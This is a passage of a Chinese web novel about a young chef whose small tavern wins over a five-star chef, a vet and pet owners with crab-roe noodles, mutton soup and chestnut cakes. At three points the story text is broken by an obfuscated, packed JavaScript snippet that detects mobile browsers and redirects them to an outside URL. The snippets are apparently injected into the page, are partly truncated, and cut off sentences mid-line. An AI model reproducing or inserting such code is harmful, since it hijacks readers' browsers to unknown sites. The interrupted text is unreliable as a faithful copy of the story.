那鲜虾豆腐煲也格外惊艳，虾仁饱满Q弹，金针菇脆脆的，吸饱了番茄汤汁，豆腐嫩而轻抿即破碎。 几样菜都吃完，他又用蟹黄面当作收尾，最后一口，满是金黄的蟹肉和蟹黄，再加上多种吊汤共同成就的灵魂细面，简直好吃到整个脑袋都清爽了。 作为五星级厨师，楚家雄没少吃过大厨做的菜，口味也非常挑剔，很多时候去饭店，吃个八分饱就放下筷子了，不会空盘。 可现在，面前几道菜的盘子都被他吃得干干净净。 回想起儿子楚逸山发的朋友圈，楚家雄忽然理解了，儿子为什么会被这里的饭菜迷住，现在他也被这里的菜迷住了，并且由衷佩服这个看上去才二十出头的老板。 “可以把你们老板叫过来吗？我有点问题想问她。”楚家雄叫来了林若雪，态度比刚到店缓和很多。 “啊？可以的，您稍等。”林若雪转头进了厨房。 不一会，江云枫从厨房走出来，她走路带着很强的气场，两边的鬓发都微微浮动。 “您好，有什么问题吗？”江云枫还以为这位资深厨师，对自己做的饭菜不满意，可往桌子上一看，碗盘皆空。 “没有问题没有问题。”不同于刚进店时满脸的轻蔑，现在楚家雄笑眯眯的，说话语气也温和很多，“我是想跟您交流一下做菜经验。” “就比如说，一般宽油赤酱做出来的菜才比较好吃，但是这几道菜都没怎么放油，您是怎么做得这么好吃的？” “宽油赤酱比较适合重口味的食客。”江云枫倒也不介意和人探讨厨艺，“但是这么做会盖住食材原本的香味和鲜味。” “所以我用的是秘制的料汁，简单调味，反而更突出食材本真的味道。再有就是一些做菜手法问题，比如火候得当，或是煮过再炒、炸过再炖，以及香料的配比尝试，都会让菜品有个人的风格。” “受教了。”楚家雄抱了抱拳，“冒昧问一下，您这么年轻就能把饭菜做得这么好吃，是自己钻研的，还是有高人传授呢？” “我们家祖辈都是厨师，是祖母教我的，还有就是从小就对做饭感兴趣，没少捣鼓。”江云枫笑道。 江云枫回想着上辈子的事情，小时候她还没灶台高时，祖母就教了她很多做菜的技法，她也抱着各种瓶瓶罐罐的调料，把一道菜做上几十次，只为找到最好的口感。 “实不相瞒，我是一个五星级酒店的厨师，今天本来是抱着怀疑的态度来吃饭的，没想到被您的手艺惊艳了，之前儿子说您做菜比我好吃，我还不服气，现在输得心服口服。” 平心而论，楚家雄觉得自己做的饭菜中规中矩，不像是江云枫做的菜，既能做到香味层次无与伦比的丰富，又能感受到食物鲜活的味道，整道菜仿佛有了灵魂。 “其实您儿子刚到店，就跟我夸您的手艺，只要用心做菜，就都是好厨师。”江云枫听他讲话，时不时点点头，此刻神色认真地望着他，“我做菜的想法就是，食客吃得开心就好，至于做菜技巧，还是您经验丰富些。” 年少有为容易恃才傲物，楚家雄以为江云枫会炫耀一番自己的才能，没想到竟然如此谦逊，他更高看她了。 “您真是不一般。”楚家雄临走前，又感慨道。 江云枫没讲话，默默笑着目送他离开。 前世收到的称赞太多，她已经习以为常。 - 原本以为在这客流量不大的地界，88元一碗的蟹黄面应该不太好卖，她只准备了10碗的食材，可没想到，依靠着食客群的推荐，以及口口相传的安利，一中午的时间就售罄了。 甚至很多人在江家小酒馆食客群哀嚎，希望能及时补货，最好能晚上就吃上。 江云枫看着今天中午1000多元的营业额，心里松了口气，照这个架势，还完突然出现的小狗治疗费，再按期换上房贷，也绰绰有余。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812593|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 忙完中午的高峰期，江云枫想着去见姜小麦医生，不好空着手。 根据原主的记忆，她有几次下午三四点到“芳草地宠物医院”，姜小麦医生才忙完吃饭，而且吃的多是北方菜。 江云枫想了想，近日天气越来越冷，吃上一碗热乎乎的羊羹泡馍，再佐以几块清甜可口的松仁栗子糕，再好不过。 煮熟的栗子散发幽幽的香气，捣碎成泥，过筛之后成为细碎的栗子粉，同松子仁在黄油中炒过，干松甜香。 再加上一抹红棕色的桂花红糖，在模具中压成麻将大小的方糕。 金黄的糕点间错杂着棕色的松子仁，整体呈现出纷繁精致的花纹，看着就诱人。 那羊羹更是惊艳，慢卤过的羊肉已经成了酱色，切成一元硬币大小的块状，再放入汤中。 卤羊肉的汤同鸡汤一起作为汤底，香味满溢，香菇碎、笋丁、山药丁在汤中慢炖，不仅将蔬菜香气融入汤中，更是吸饱了羊肉的肥美味道。 金色的黄花菜与黑色的木耳，以及泡发的透明粉丝，又为这羊羹添上丰富的滋味。 出锅之际，那羊羹浓稠而食材颇多，撒上葱花，香味浓郁而扑鼻，卖相莹亮而勾人食欲。 江云枫又自己做了用来泡在羊羹中吃的饼，饼子雪白，圆圆的，两面煎得微焦，摸上去还有一层细细的粉质感。 将羊羹、四个馍、松仁栗子糕用保温盒打包好，江云枫暂关店门，去了“芳草地宠物医院”。 这地方离江家小酒馆不算远，步行十五分钟就到了，江云枫到达时，比约定时间还早了十分钟。 这家是连锁宠物医院，二楼是给宠物看病的地方，一楼是寄养区、洗澡区，还有各种宠物相关用品售卖，很多毛孩子家长们坐在这里，等着自家宠物洗好澡。 “刚忙完，正好赶上你来接小狗了。”姜小麦笑着迎接江云枫。 “您还没吃饭吧？” “还没呢，今天中午给哈士奇洗澡，斗智斗勇了三个小时，这才刚弄完。”姜小麦手里比划着那哈士奇跳上跳下的样子。 “正好，我给您做了碗羊羹泡馍。还有松仁栗子羹。”江云枫将保温饭盒拿出来，“多谢您这段时间对我家小狗的照顾，今天我来还一下您垫付的钱，还有这份吃的，算是小小的感谢。” “其实你手头紧的话，过段时间还钱也可以的。至于这个饭菜......”姜小麦讲着讲着，面露难色。 两个多月前，江云枫也曾让姜小麦见识过做菜手艺，那饭难吃得，差点让她昏迷过去。 但是面对江云枫真诚的眼神，她又不能负了好意，于是想打开饭盒盖子夸奖几句成色，再放到一边说等会儿吃，等江云枫走了，再偷偷倒掉。 “我先打开看看。” 没想到饭盒一打开，一股浓郁的香气制止了她的想法。 羊肉香气伴随着热气，一浪又一浪地飘来，碗中食材纷繁多样，一旁饭盒内的饼子散发出面香。 姜小麦又怔怔地打开点心盖子，板栗甜香与坚果的香气，氤氲在空气中。 “好香啊......” 这股味道不止姜小麦闻到了，连离得远一些却鼻子很尖的猫猫狗狗，也都不约而同地转头看向姜小麦，猫猫狗狗一排湿漉漉的黑色鼻头来回耸动，想要吸入更多的香气。 一只嘴馋的西高地和一只急躁的雪纳瑞，按耐不住了，朝姜小麦作揖，此起彼伏。 宠物店骚动起来。 20. 古法羊羹、栗子糕 “诶？哪儿来的羊肉汤的香味？” “好香啊......怎么我又饿了......” “Lucky！Lucky！坐！别再流口水了。” 在大厅里等待的宠主们，纷纷往这边看过来。 面前的狗狗不是作揖，就是眼巴巴地看着，还有几只小猫跳到高处的猫爬架上，伸长了鼻子嗅闻。 “是朋友给我带的饭。”姜小麦把手搭在江云枫肩上，“我等会儿再吃。” 为了平息面前的骚动，姜小麦赶紧将饭盒盖起来，装进袋子。 看着那一碗热乎乎、羊肉很大块的肉汤，被保温盒遮住，姜小麦也有些不舍。 不知道为什么，也就过了两个月，江云枫做的菜竟然能这么香了，她改变主意，想等会儿马上尝尝。 “这群小家伙鼻子真灵。”那群猫猫狗狗们，用水灵灵的大眼睛盯着江云枫，让她的心被萌化了。 “要不然我们先接小狗，饭菜等过会儿再吃，谢谢你给我带饭呐。” 姜小麦说着，进了寄养区里间，不一会儿牵出一条半大的小狗。 那小狗如今差不多五个月大，是个狗妹妹，毛发中长而微卷，金棕色间夹杂了一些恰到好处的灰色和白色。 尖尖的耳朵毛绒绒的，立得很直，黑葡萄样的大眼睛炯炯有神。 品种是中华田园犬，却因为长相、站姿都很板正，像精神头很足的小狼。 “几个月不见，长大了好多，还变漂亮了。”那小狗见到江云枫，激动得摇头摆尾，好像舞龙舞狮，江云枫蹲下来，rua着它毛绒绒的小脑袋。 “是啊，每天贼能吃。”姜小麦拿了饭盆，给它倒了一些狗粮，它立刻风卷残云地吃完，左右舔着鼻子。 “那我也买一些狗粮带走吧，还有狗窝和玩具。” 因为江云枫手头的钱有限，姜小麦也表示了好几次不着急还钱，江云枫先还了她2000元，约定了剩下部分之后再还。 打包好了买的小狗用品，江云枫牵起小狗跟她道别：“对了，江家小酒馆的食客群你要不要加一下？” “有食客群啦？”姜小麦很惊讶，因为之前去她家店，食客们都不会回头的，但是一想刚才闻到的羊肉汤那么香，她突然想要加群了，“好呀，麻烦拉我进去吧。” 姜小麦加了食客群，江云枫牵着小狗离开了，大厅里的毛孩子家长也少了一些，她洗了手，大步走向装着羊肉汤的饭盒，迫不及待地打开。 羊肉香味，带着湿漉漉的水汽，扑在她脸上。 原本她已经饿过头，没什么饥饿感了，可这香味，一秒钟激活味觉感官。肚子扁扁的感觉、喉咙久未进食的干燥感一下子全上来了。 不过姜小麦对江云枫的手艺还是有点疑问，她谨慎地将嘴巴凑近饭盒边缘，小喝了一口汤。 汤汁温热入口，羊肉浓郁的香味涌入口腔，不仅如此，那鲜爽的口感，直冲天灵盖，姜小麦第一次体验到，什么叫做“鲜掉眉毛”。 “不是？这汤怎么能这么香的？”姜小麦感觉味蕾简直做了个SPA，难以置信地又喝了两口。 之前在其他饭馆喝羊肉汤，总觉得兑水太多，不够浓稠，羊肉也舍不得给，切得薄如蝉翼的。 可江云枫做的这碗羊肉汤，却是加倍浓郁，喝一口汤仿佛直接嚼了羊肉，香得很，还有香菇、木耳等各种菜清爽的香味。 姜小麦又用筷子捞了捞，汤稠稠的，各种菜丁给的很足。 “江老板真是个实在人。”姜小麦没吃过料这么足的羊肉汤，宝贝地捧着汤碗，“哦对了，刚才好像还看到小饼子了。” 另一个饭盒里，四个饼整整齐齐摞成一摞，饼子整体雪白，两面煎得微微焦黄，姜小麦拿起一个饼子，那带着微微粉面的手感，让人忍不住动手掰馍。 饼子外层“咔滋”碎裂，出现冰裂纹状的纹路，内层却是带着韧劲儿的，拉扯一下才撕碎。 “这饼做得也太好了。”姜小麦将饼子掰成一口一个的小块，泡在汤里。 雪白的饼块，落入汤中，立刻吸饱了浅棕色的汤汁，膨胀一圈。搅拌搅拌，所有的饼块都均匀吸饱了汤，姜小麦捞起一块，送入口中。 外酥内软的饼子，散发着充盈的面香，嚼起来有韧劲儿，口感更好，每嚼一下，羊肉汤的肥美都会涌现。 这一筷子，还勾起了两根粉丝，姜小麦一同吸入口中，粉丝软软弹弹，羊肉香味的，嚼起来又糯糯的。 “这汤里的东西也太丰盛了。”姜小麦抽底捞着，将夹到的菜同粉丝一起塞进嘴里。 香菇嫩滑，一咬就挤出很多鲜爽的汤汁，木耳滑滑的，又很软嫩，笋丁清爽且脆脆的，嚼着像是萝卜咸菜一般开胃。 还有那粉丝，晶莹剔透，捞出汤面后，一直有浓郁的汤汁顺着粉丝，滴滴溜溜往下流，激得人赶紧往口中送。 这一口吃下，香味无穷。 羊肉块很大，姜小麦从汤底捞出一块，送入口中，羊肉三肥七瘦，肥肉部分滑滑的，炖煮多时后一点也不腻。 瘦肉部分略微紧实，被从外而内均匀酱过，咀嚼间，有羊肉浓厚的鲜香，能感受到羊肉粗糙的纹理，而且去膻味得当，只有香味。 一块下肚，再喝一口羊肉汤，感受那浓厚的香味滋润嘴唇、充盈口腔、流过喉咙，再慢慢落入胃中，从喉咙到胃，整个都是暖暖的。 “人生可真幸福啊......”姜小麦觉得浑身都被羊肉汤注入了温暖和力量。 她看着窗外微寒的秋风吹着落叶，在这样的冷天喝上一碗热乎乎的羊肉汤，吃着汁水丰沛的泡馍，怎么能说不是人间享受呢？ 姜小麦完全沉浸在大口大口吃喝的喜悦里，完全没注意到，大厅里坐着的毛孩子家长，正目不转睛地盯着自己。 她的手掰馍，大家齐齐看向变成碎块的馍。 她的筷子捞起粉丝，大家齐齐看着粉丝顺滑入口。 她夹起羊肉往口中送，大家的视线齐齐跟着羊肉，直到羊肉入口，他们纷纷吞着口水，根据羊肉汤的香味，想象着羊肉入口的味道。 “姜医生，你在吃什么啊，这么香。”一旁瘦弱的老奶奶齐桂芬问道，她原本一直食欲不振，没想到闻到这股味道竟然有些嘴馋了，而她牵着的小泰迪，更是连连对着姜小麦作揖。 “对啊，闻起来就香得很嘞，这秋冬天气来上一碗这样香喷喷的羊肉汤，味道不要太灵哦~”看上去很端庄的杨曼文，抱着比熊坐着。 她忍了很久没有露出不体面的饥饿，但仍是忍不住想那羊肉汤的味道。 “你看我家狗都拉不住了。”一头卷发的周凯泽牵着哈士奇，那哈士奇力气大得很，它带着满是智慧的眼神朝羊肉汤方向走，把周凯泽慢慢拖了过去。 “不仅汤香，这个饼子瞧着也很不错嘛。”周凯泽不动声色地深呼吸，闻着空气中的肉香与饼香，“这饭是在哪家店买的？我也想点。” “对对对，我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818252|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想知道哪家店的羊肉汤这么对味。”杨曼文接话道。 “这个是江家小酒馆的饭菜，我可以把地址发你们，还有食客群，你们要加吗？”姜小麦满口都是香喷喷的食物，她含混地回应道。 “要加！”周凯泽和杨曼文异口同声道。 “喂，孙子，你上次不是说要给我注册个微信吗？赶紧给我注册呀，我现在要加一个群，对，现在就快点来吧，我在芳草地宠物店。”齐桂芬老奶奶紧急打电话呼叫外援。 “不着急，我帮您注册。”杨曼文走到齐桂芬奶奶身边，耐心地教她步骤。 三个人都加上了群，姜小麦打开那盒糕点，见有十几块，决定和大家分享：“这还有些糕点，大家都来尝尝吧？” “没问题！”往常遇到分享都会客气拒绝的三个人，此时都按耐不住，想尝尝这糕点的味道。 杨曼文从兜里拿出一包香纸，抽了一张垫着手，才去拿那糕点。 她吃相很优雅，小小地咬了一口糕点，糕点绵软，细细咀嚼像是沙子一样松散开来，栗子甜蜜的香味在口中舒展开，杨曼文轻轻地“唔”了一声。 “这糕点蛮好吃的呀，还有松子仁的。”杨曼文嚼了嚼，那松子仁酥酥脆脆，坚果香味悠长，满口油香。 周凯泽则是拿起一大块，仰头，整个糕点送入口中，大嚼起来。 “嗯~不错，我就喜欢这种甜味刚刚好的糕点。”周凯泽感受着那栗子味的沙沙的质感，在口中慢慢融化，他又忍不住舔了舔手指，“除了栗子的甜味，还有股淡淡的桂花香，还有脆脆的坚果，真不错。” 齐桂芬奶奶牙口不好，拿到糕点之后，放在小手绢上，只用嘴唇轻轻抿着糕点，那沙沙松松的糕点慢慢入口，在嘴唇舌尖留下绵密的香甜，齐桂芬奶奶连连点头肯定。 姜小麦也细嚼着松仁栗子糕，栗子香气混合着桂花香，不仅在口腔蔓延，也伴着呼吸进入鼻息间，吃到、闻到的，都是秋天的味道。 然而几个人都沉浸在美食中，都没留意一旁的哈士奇因为吃不到而生气刨地，比熊为了讨口糕点翻肚子卖萌，而那原本眼神清澈的泰迪，此刻化身邪恶摇粒绒，瞪着眼睛生闷气。 糕点下肚，没有让周凯泽、杨曼文和齐桂芬奶奶解了馋虫，反而想吃更多的东西，而姜小麦吃完了羊肉泡馍，又尝了几块糕点，仍旧不满足，她还想知道江家小酒馆还卖什么别的菜。 几个人都暗暗决定，改天去江家小酒馆吃饭。 - 小狗已经打过全部的疫苗，江云枫直接带着小狗去办了养狗证，而后带回了小饭馆。 这小家伙东闻闻、西嗅嗅，一直高兴地摇尾巴，转了好几圈之后，江云枫将它拴在厨房门外的墙边空地。 “小家伙，坐下。”江云枫刚发出指令，那小狗立刻坐得端端正正的，“诶？竟然能听懂话，这么聪明？” “小家伙，站起来。”江云枫又尝试了一次，小狗站起来，摇晃着柔软的尾巴。 中华田园犬这种狗，在大梁就有，江云枫听说过，这种狗忠诚、听话、守规矩，她之前没见过，现在也算是见识了。 江云枫打开狗粮袋子，凑近闻了闻，气味并不好闻，她皱了皱鼻子，又尝了一颗，味道不怎么样。 大梁没有狗粮，爱狗的人家，都是自己做小狗饭。 “做我江大厨的小狗，怎么能吃这么差？不行不行。”江云枫摸了摸小狗毛绒绒的脑袋，“我给你做点小狗饭，等着。” 21. 牛蹄筋面 大梁人家做的小狗饭，讲究一个荤素搭配，肉、菜、碳水都有，江云枫也了解过一些。 江云枫打开冰箱门，扫视里面的食材，从鲜肉里选了鸡胸肉、牛肉和猪肝，五颜六色的菜里选了西兰花和胡萝卜，主食选了土豆和红薯。 三种肉用水煮，剩下的蔬菜与碳水上蒸锅，不一会儿就全熟了。 制作小狗饭的过程非常解压，鸡胸肉撕碎，牛肉、猪肝切成丝，戴上手套，软糯的土豆和红薯直接捏成泥，西兰花和胡萝卜切成丁。 所有食材全部丢进搅拌机，“日”的一声打成末末。 倒在碗里时，白、红、绿、橙、黄交杂在一起，色泽和香味都很诱人。 江云枫专门拿了个大木碗，当成小狗的饭碗，将小狗饭装进盘里，又在上面撒了一把狗粮。 整个做饭的过程里，小狗都老老实实坐在外面，圆溜溜的眼睛盯着食材来回看，不声不响等饭吃。 “给。”江云枫将木碗放在小狗面前。 它用湿漉漉的鼻子闻着小狗饭，柔软的尾巴左右摇摆，却没有吃，而是看看江云枫，再看看饭，流着口水。 “嗯？你怎么不吃？”江云枫见它馋得不行，却还是坐得端端正正的。 直到江云枫讲“吃吧”，小狗才像是得到了指令，低头猛吃。 “你也太讲规矩了。”江云枫试探着摸摸它的头和背，也不护食。 小狗的嘴大张大合，嚼得很香，舔几口小狗饭，嘎嘣脆地嚼几下狗粮，它吃得“啊呜啊呜”的，半碗小狗饭很快见了底。 红色的小舌头，做着最后的收尾工作，整个碗被舔得一尘不染。 “对了，还没给你取名字，就叫你【啊呜】好了。”江云枫看它每次吃东西都风卷残云，这个名字很适合它。 江云枫叫了几声“啊呜”，它很快明白了这是自己的名字，尾巴甩得火树银花的。 - 在晚上的营业前，江云枫还要去趟菜市场，一是补货螃蟹，继续卖蟹黄面，二是还想买点别的菜，尤其是买一些牛蹄筋，回去做牛蹄筋拌面。 现在陪江云枫买菜、送菜的工作，都是由万磊完成的，江云枫也会按次付他工资。 这段时间跟着江云枫买菜，万磊学到了很多挑菜的小技巧，到了菜摊前，忍不住展示。 “土豆还要软糯的吗？”万磊问江云枫。 江云枫点点头。 万磊将那表面光滑、发白的土豆拨到一边，只拿外皮粗糙、哑光色的土豆，这种土豆最软糯，做土豆泥效果也很好。 “今天的大葱不错。” 万磊端起大葱捏了捏，内部很紧实，整体生机而支棱。 “这个多买几颗吧，最近炖肉多，消耗快。”江云枫拿了几颗，万磊立刻配合地撑开袋子。 “番茄好像不怎么熟。” 万磊拿起番茄又放下，好多番茄叶子都在六片以下，表皮也没沙点。 “番茄还多，过几天再买。”江云枫示意万磊一起往前走，笑着调侃，“现在你也是挑菜行家了。” “跟着大厨，耳濡目染，会的就多了。”万磊嘿嘿笑着挠头。 以前他在家里什么也不做，就等着老妈做饭，如今慢慢感觉到做菜并不容易，也开始学着买菜回家、时不时帮厨了。 在菜市场买了新鲜的螃蟹和牛蹄筋后，两人再次来到了鲁家猪肉铺。 “咦，江老板来买肉啊。”鲁志元看到江云枫一愣，最近她每次来猪肉铺都会买一堆肉，而且分量越来越多，让他狐疑，难道江家小酒馆生意越来越好了？ “对，最近食客太多了，需要多备点货，而且大家都觉得你家肉新鲜，可爱吃呢。”江云枫挑着肉，还不忘顺口夸赞。 “那是，我们家都是新鲜先杀的，您随便挑，闭眼就能买。”鲁志元骄傲得挺了挺胸脯，“您这边挑好了，我再送您几块。” 排骨、前腿肉、猪肝、梅花肉、腊肠各来了一些，过秤，鲁志元将称好的肉和送的肉分别装袋，递给两人。 “那我们走了，有空来店里吃饭。”江云枫提着袋子，招招手。 “好嘞，这两天就去。” 江云枫邀请了两次，鲁志元原本不想去，怕再踩雷黑暗料理，可从江云枫买的肉量可以推测，她家店肯定是越来越红火了。 鲁志元见她还提了螃蟹和牛蹄筋，起了好奇之心，决定这两天就去看看，江云枫到底在做什么好吃的。 - 回到店，林若雪和李博鸿已经在门前等待，江云枫开了门，大家才看到屋内有个小狗，摇着尾巴欢快地迎接江云枫。 “我的天，老板你有小狗啦！”林若雪整个人激动起来。 “今天刚到店的吗？昨天我好像没看到。”万磊把食材放进冰箱，眼神没离开过小狗。 “这小狗，长得好漂亮。”李博鸿手撑着膝盖，半蹲着看它。 啊呜坐得端正，脖子前面棕色与黑色交杂的毛发，看上去软软的，耳朵直竖，贼有精神。 它只对江云枫摇尾巴，伸头闻了闻其他几个人，看看几个人的脸，又看看江云枫，好像在试探着问他们是谁。 “啊呜，这是我们家店的店员，还有隔壁杂货店的老板，你可以跟他们玩。”江云枫认真对啊呜讲，它似乎听懂了，前爪蹦蹦跳跳的，在几个人面前耍宝。 几个人跟啊呜玩儿了一会儿，进到厨房洗了手，开始今天的营业。 - “就这里啊......”季晓蕾挽着许凝蕊的胳膊，走了很久才看到江家小酒馆的门头，那门头虽然擦洗干净，却很破旧，还褪了色。 “你不是喜欢看武侠小说吗？越是藏得深的店，说不定越厉害呢。”许凝蕊笑道，她为人处事向来讲究眼见为实，“不要先入为主嘛，真正尝了才知道。” “你说得有道理。”季晓蕾点点头。 两人进到屋内，发现别有洞天。 橙色的火焰兰很有生命力地向上伸展枝丫，墙上的紫藤与竹子挂画，清雅秀丽，一瞬间给人非常安逸的氛围感。 而且厨房门口还坐着一只可爱的小狗，湿漉漉的眼睛打量着她们。 “好可爱欸......” “这小狗竟然有点像小狼。” 两个人都很喜欢啊呜，但是有点怕狗，只是远远看着。 林若雪迎了过来，问两人点什么菜。 “我要一份蟹黄面。”许凝蕊从上到下扫视了一边菜单，上次跟楚逸山交换食物，吃到了螃蟹小饺后，她就对这味道念念不忘。 “那我们点不一样的换着吃吧。”季晓蕾提议，许凝蕊点点头，“我要一碗这个牛蹄筋面，栗子糕也来一份吧。” “喝的要奶茶？”许凝蕊用眼神询问。 “嗯呐！”季晓蕾也正想喝这个。 菜很快上齐，当那香味扑面而来之时，两人甚至忘了拍照。 牛蹄筋是肥嘟嘟的长条状，整体呈现深棕色，每一根都泛着晶莹的光，在面上堆了一层，散发着腾腾牛肉香，碗里的面整齐地丝丝排列。 蟹黄和蟹肉金黄，直接盖满最上层，都看不出来面在哪里了，刚淋上醋汁，还有浅棕色的痕迹，鲜香的蟹味随着热气氤氲在空气里。 栗子糕用长条形的小碟子呈上来，摞成小山状，棕黄色的糕点上有繁复的花纹，松子仁在其中若隐若现，凑近闻有淡淡的甜味。 那奶茶装了一小壶，透过锤纹玻璃壶能看到模糊的深棕色，摸一摸壶身，格外温热。 “这也太香了......”季晓蕾凑近每个菜，用手扇风，那香味就一下一下地飘过来。 “我今天本是想吃蟹的，可现在觉得你那碗也不错。”许凝蕊盯着那满满当当的牛蹄筋，想象着那软糯的味道。 季晓蕾快速拍了几张照，顾不得磨蹭，捞起筷子：“咱们快吃吧，有点等不及了。” “好。”许凝蕊不是嘴馋的人，平时到饭点也不着急，可现在，却有些心急了。 季晓蕾夹起一块牛蹄筋，那筋软乎乎的，一夹起来就左摇右晃，她一口咬住。 软筋上包裹的汤汁，登时让舌头感受到了浓厚的牛肉味，嚼起来软糯糯的，而且很酥烂，直接就能咬碎。 一块糯叽叽的牛蹄筋下肚，季晓蕾口中已经满是牛肉香气，嘴唇上也沾了些酱汁。 “啊啊啊啊，这也太好吃了！”季晓蕾舔着嘴唇，一点儿酱汁也不想浪费，“我第一次吃牛蹄筋，竟然这么香！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一口奶茶，不仅清甜，还冲走了口中的牛肉香气，许凝蕊不舍得那肉香消失，赶紧又补了一口牛蹄筋。 “这个糕点也好吃欸。”季晓蕾捏起栗子糕。 那栗子糕刚入口时，是沙沙的口感，嚼一嚼，又变得绵软细腻，栗子香和黄油香融化在一起，松子仁嚼碎了，是悠长的坚果香气，一块下肚，满口清香。 “这家店有什么是不好吃的吗？”季晓蕾喝了口奶茶，感慨道，“竟然从主食，到糕点，再到饮料都这么好吃好喝。” “应该没有不好吃的，你看看其他桌。”许凝蕊小声道。 环视四周，每张桌子上的食客都点了不同的菜，所有人都是吃几口感慨一下，而后继续狼吞虎咽。 - “今天的蟹黄面和牛蹄筋面卖得真好。”江云枫一碗接着一碗地做着面，李博鸿剥螃蟹的手没停过。 江云枫看他太辛苦，自己也来剥蟹，让他休息休息。而那牛蹄筋，也消耗得很快。 下午去菜市场，江云枫买了大几十只螃蟹还有好大一袋子牛蹄筋，本以为准备了两天的量，没想到一晚上就没了。 大堂里坐满了人，甚至有些人在店外排队，就为了吃上一碗面，林若雪不仅上菜、收碗，还时不时去外面安抚一下等久了的食客。 生意好到营业晚了三个小时才结束，江云枫看了一眼营业额，今天竟然进账三千多将近四千。 “今天大家辛苦了，给大家点补贴。”江云枫不仅补了加班费，还给李博鸿和林若雪每人发了个大红包。 蟹黄面和牛蹄筋面，江云枫也给他们各做了一份，打包好。 “谢谢老板！”李博鸿一手拿着红包，一手拿着香喷喷的饭，喜笑颜开。 “有钱拿又有好吃的，老板你人太好了！”林若雪跑过来抱了江云枫一下，她早就馋牛蹄筋面了，拿到饭盒后格外开心。 店门关闭，三个人道别后各自回家，江云枫牵着啊呜，遛了一个小时，才回家。 回家之后，江云枫一看手机，发现林若雪半小时前给她发了条消息。 【老板！咱们的蟹黄面和牛蹄筋面好像火了，我刷到好几个美食博主，要来咱们饭馆探店！】 22. 牛蹄筋面（2） 林若雪的消息后面，还附了几个美食博主的视频链接，江云枫挨个打开看了看。 这些博主都是今天收到粉丝安利，发了动态，说过几天要来江家小酒馆实地探店。 由于是本地美食号，视频还有些热度，江云枫一看评论，网友热烈地讨论着。 【这家店的蟹黄面不仅蟹肉给的多，面条也贼香，吃上一口整个人都舒畅了！】 【那个牛蹄筋面也超级好吃！吃了一碗我还欲罢不能啊啊啊！】 【没错，而且蟹黄面才卖88元一碗，性价比真的好高！】 【卖这么便宜能好吃吗？你们该不会是打广告的吧？】 【你吃了就知道了，我拍胸脯保证，比芙蓉楼的蟹黄面还好吃。】 【一个没听说过的小饭馆，能比得上芙蓉楼这种老招牌吗？越说越离谱了。】 【那你不吃，正好跟我们抢的人少了。】 【没吃过好东西，才会觉得这种小馆子的饭菜好吃吧？】 评论分成了两派，一派疯狂安利，一派格外质疑。 博主在评论区打圆场，说探店之后会拍视频，给出饭菜味道的客观评价，两派的人才暂时停止了争吵。 “我刚才在遛啊呜，才看到你发的消息。”江云枫一笔一划手写回复，“有人来探店挺好的，等于是做个免费宣传。” “不过我看评论区吵起来了，很多人还没来店里，就先有了不好的印象......”林若雪欲言又止。 “正好借助这些博主的视角，让大家了解一下我们店的水平。”江云枫微微一笑，很有自信，“不管好的坏的声音，都能引来关注，至于关注后让食客吃得满意、吃得享受，就包在我身上了。” “不担心了，我相信老板！”林若雪发来了一个肯定的表情包。 - 江云枫第二天早了一个多小时到店，迎接来的第一个食客不是博主，而是鲁家猪肉铺的鲁志元。 “江老板，我昨天晚上想来吃饭的，没想到竟然没排上队，所以今天早点来了。”鲁志元显然是快步走来的，气喘吁吁，拿袖子擦着汗，“没想到你们家生意变得这么好啊。” “是啊，我找了师傅提升了厨艺，今时不同往日了嘛。”江云枫抽出两张餐巾纸，拿给鲁志元擦汗。 “谢谢。”鲁志元接过纸，很新奇地环视着店内，“店面也变漂亮了，这菜单......竟然有这么多菜啊！” “现在人手不够，等之后招点人，菜品还会更多呢。”江云枫抱着胳膊笑道。 鲁志元浏览着菜名，视线落在了蟹黄面和牛蹄筋面上，来回看着，拿捏不好选哪个：“这两个看着都很好吃，但是有点选不出来，要不然一样来一份吧。” “没问题，我经常在您家铺子买肉，也算是老熟客了，价格给您打个八折吧。”以后还要经常合作，而且鲁志元人确实不错，江云枫做了个顺水人情。 “老板大气！”鲁志元开玩笑道，竖起了大拇指。 李博鸿已经成了拆螃蟹大师，三两下就将蟹肉和蟹黄剥离出来，江云枫对于蟹肉和牛蹄筋的炒制也是行云流水，林若雪很快将成品端上了桌。 “你们这一套流水线效率可真高啊。”鲁志元禁不住感慨。 “那您先慢用，我做其他客人的菜了。”江云枫点头招呼道，鲁志元也点头回应。 有了昨天到店食客的口口相传，以及美食博主的宣传热度，今天来店的食客多了很多，不到十一点就陆续坐满了。 鲁志元完全忽略了身边环境的熙熙攘攘，视线里只剩下眼前的两碗面。 蟹黄面白嫩中透着金黄，牛蹄筋棕里透红，表面晶莹地泛着光。 属于河鲜与牛肉的香气，截然不同，各有各的香法，都格外浓郁。 